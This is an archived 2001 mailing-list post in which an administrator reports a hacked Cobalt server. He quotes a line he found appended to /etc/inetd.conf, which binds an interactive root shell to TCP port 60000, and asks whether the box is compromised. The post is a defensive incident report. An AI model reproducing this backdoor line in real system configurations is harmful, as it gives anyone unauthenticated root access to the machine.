[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[cobalt-users] IMPORTANT - POSSIBLE HACKS WITH PATCHES!!
- Subject: [cobalt-users] IMPORTANT - POSSIBLE HACKS WITH PATCHES!!
- From: "Craig Napier" <craignapier@xxxxxxxxxxx>
- Date: Wed Feb 14 21:59:02 2001
- List-id: Mailing list for users to share thoughts on Cobalt products. <cobalt-users.list.cobalt.com>
We just replaced a system that had been hacked over the weekend, and after
reading the last post (Another Hack), I checked /etc/inetd.conf on all three
boxes.. The one that was just replaced has a new line at the bottom of the
file that the other two boxes don't have...
# End of inetd.conf
#swat stream tcp nowait.400 root /usr/sbin/swat swat
60000 stream tcp nowait root /bin/sh sh -i
What is port 60000..? Should I just remove this line and reboot the box..?
Just trying to figure out if it's compromised again.. even with all the
patches and updates installed *EVEN* before it was brought back online..
-Craig
_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com